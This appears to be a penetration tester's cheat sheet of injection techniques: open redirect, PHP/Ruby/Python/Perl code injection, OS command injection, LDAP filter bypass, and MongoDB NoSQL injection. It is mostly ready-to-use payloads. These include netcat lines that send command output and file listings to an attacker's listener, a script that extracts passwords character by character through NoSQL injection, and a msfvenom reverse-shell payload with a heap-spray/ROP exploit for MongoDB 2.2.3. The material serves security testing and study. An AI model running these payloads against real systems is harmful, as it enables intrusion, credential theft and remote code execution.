Injection

Experiment with characters to create errors, then to close the syntax. After this, proceed with injection payloads.

Open Redirect

  • Occurs when the web application accepts untrusted input and redirects a user or resources to an untrusted site which may be used for further malicious purposes.

#When white-listed keywords are used
https://URL/safepage.php?redir=https://evilsite.com?trustedsite.com
https://URL/safepage.php?redir=https://www.trustedsite.com@evilsite.com

Code Injection

PHP

Tips

  • Play around with symbols until "Parse errors" are avoided.

Payloads

#URL-encode some of the characters (# and ;) before sending the request.
".system('uname -a'); $dummy=".
".system('uname -a');# or ".system('uname -a');//.
"./*pentesterlab*/"
/?order=id);}system('whoami');//
'.system(whoami).'

#PCRE_REPLACE_EVAL has been deprecated as of PHP 5.5.0 
#Payload: /e

Ruby

`whoami`
id=test"%2b`whoami`%2b"

#Sample Error Response
@message = eval "\"Hello "+params['username']+"\

Python

  • Test if python is in use. Response will contain True

  • os module is needed to access system

#Example URL :https://www.domain.com/hello/hacker
/hello/hacker"+str(True)+"test

#Command successful response: 0 | Unsuccesful response:32512
/hello/hacker"+str(os.system('id'))+"test

#To get output of command
/hello/hacker"+str(os.popen('<Command here>').read())+"test

#If os module is unavailable
/hello/hacker"+str(__import__('os').system('<Command here>'))+"test

#Testing for restricted characters. Try URL encoding/double encoding. [man ascii]
uname <restricted char>

#Base64 encoding
__import__('base64').b64decode('<Encoded-cat /etc/passwd>')
/hello/hacker"+str(__import__('os').popen(__import__('base64').b64decode('L3Vzci9iaW4vdW5hbWU')).read())

Perl

#Experimenting with characters to confirm 
id=test'
id=test'.'
`uname`

OS Command Injection

Tips

#Simple injection
;echo whoami;

#Email forms
email=x||ping+-c+10+127.0.0.1||

#When ; or || are filtered, try using ``. [Blind injection]
#In this case the payload gets executed before the actual command, but you may not see the output.
`uname`
$(<Command-here>)

#Using netcat
whoami|nc 10.10.14.60 9001
find+.|nc+10.10.14.60+9001
#Attacker's System
nc -nlvp 9001 > filesystem.txt

#Blind OS cmd injection with time delay
& ping -c 10 127.0.0.1 &
  • Tip:

    • Sometimes some characters are filtered. Check with nc to identify bad characters manually. [echo abc| nc IP Port]

commix

python commix.py -u url.com --data='param1=val1&param2=val2' --cookie='PHPSESSID=basda342asdasdasd; security=low'

LDAP Injection

Null Bind [Authentication Bypass]

  • Important check even if the backend is not LDAP-based.

When you connect to an LDAP server, some servers authorise NULL Bind: if null values are sent, the LDAP server will proceed to bind the connection, and the PHP code will think that the credentials are correct. To get the bind with 2 null values, you will need to completely remove this parameter from the query.

Filter Injection

(&(cn=[INPUT1])(userPassword=HASH[INPUT2]))

Our goal here will be to inject inside [INPUT1] (the username parameter).

  • We will need to inject: admin)(cn=*))%00

    • The end of the current filter using admin).

    • An always-true condition [(cn=*) for example]

    • A ) to keep a valid syntax and close the first (.

    • A NULL BYTE (%00) to get rid of the end of the filter.

Some notes:

When you are retrieving a user, based on its username, the following will be used:(cn=[INPUT])

  • Possible Boolean Logic in LDAP Authentication

    • OR using |: (|(cn=[INPUT1])(cn=[INPUT2])) to get records matching [INPUT1] or [INPUT2].

    • AND using &: (&(cn=[INPUT1])(userPassword=[INPUT2])) to get records for which the cn matches [INPUT1] and the password matches [INPUT2].

  • As you can see, the boolean logic is located at the beginning of the filter. Since you're likely to inject after it, it's not always possible (depending on the LDAP server) to inject logic inside the filter, if it's just (cn=[INPUT]).

  • LDAP uses the wildcard * character very often, to match any values. This can be used for match everything * or just substrings (for example, adm* for all words starting with adm).

  • Remove anything added by the server-side code by using a NULL BYTE (%00).

  • LDAP supports several formats: {CLEARTEXT}, {MD5}, {SMD5} (salted MD5), {SHA}, {SSHA} (salted SHA1), {CRYPT} for storing passwords.

Example vulnerable login script. We can see that if we use:

  • username=hacker&password=hacker we get authenticated (this is the normal request).

  • username=hack*&password=hacker we get authenticated (the wildcard matches the same value).

  • username=hacker&password=hac* we don't get authenticated (the password may likely be hashed).

Mongo DB

  • Verbose Errors: Can't canonicalize query :: caused by :: SyntaxError: missing ; before statement :

  • Mongo uses NoSQL queries. Equivalent of Classic SQLi Payload:

    • In SQL: ' or 1=1 --

    • In MongoDB: ' || 1==1 %00

      • Experiment closing with //, /* , <!-- , %00

Payloads

  • URL Encode && and||

  • In case the password field does not exist for some records (since it's a NoSQL database), it's always a good idea to ensure its presence by using ... && this.password && this.password.match(... instead of just using ... && this.password.match(....

#Error based: If condition=true, response will be different.

#Checking if 'password' field exists
/?search=admin'%20%26%26%20this.passwordzz.match(/.*/)%00
 
#Checking if 'password' field contains matching characters
#Is there an 'aaa' in the password
admin' && this.password.match(/aaa/)%00

#Is there a 'd' in the password
admin' && this.password.match(/d/)%00

#Check if password starts with matching char
admin' && this.password.match(/^d/)%00

#List all 
admin'+%7c%7c+this.password.match(/.*/)%00

#Iterating passwords with Error Based Injection
#For example, if the password is aab, the following test will be performed:

    /^a.*$/ that will return true.
    /^a$/ that will return false.    (Checking if 'a' is the full password)
    /^aa.*$/ that will return true.
    /^aa$/ that will return false.   (Checking if 'aa' is the full password)
    /^aaa.*$/ that will return false.
    /^aab.*$/ that will return true.  
    /^aab$/ that will return true. The password has been found.

#Automated Script
import urllib.request
import string
URL="<Insert URL here>"
def check(payload):
        #Modify this according to injection point.
        url=URL+"/?search=admin'+%26%26+this.password.match(/"+payload+"/)%00"
        resp=urllib.request.urlopen(url)
        data=resp.read()
        return ">admin<" in str(data)

#print(check("^5.*$"))
#print(check("^zz.*$"))

CHARSET=list("-"+string.ascii_lowercase+string.digits)
password=""

while True:
        for c in CHARSET:
                print("Trying :"+c+" for " + password)
                test=password+c
                if check("^"+test+".*$"):
                        password+=c
                        print("Password: "+password)
                        break
                elif c == CHARSET[-1]:
                        print("Success! The password is: [ "+password+" ]")
                        exit(0)

MongoDB 2.2.3 - nativeHelper.apply Remote Code Execution

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f js_le > payload.js

#If attempting via Web Mongo Injection, try :   ';shellcode=un.....
#Note the  // at the end to comment the rest of the code.
#Payload
db.my_collection.find({'$where':'shellcode=unescape(">INSERT MSFVENOM GENERATED JS SHELLCODE>"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0,(sizechunk-shellcode.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+shellcode; } ropchain=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c%u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++){ chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2-ropchain.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+ropchain; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"\x26\x18\x35\x08"+"MongoSploit!"+"\x58\x71\x45\x08"+"sthack is a nice place to be"+"\x6c\x5a\x05\x08"+"\x20\x20\x20\x20"+"\x58\x71\x45\x08"]);'})//

URL Redirection

  • Low serverity, unless OAuth tokens can be stolen. [Post login-redirect]

  • Webhook Site: https://webhook.site

Payloads:

  • url.com?redire=<MaliciousURL>

  • url.com?redire=//<Malcious-URL>

  • url.com/page1//<Malcious-URL>

Last updated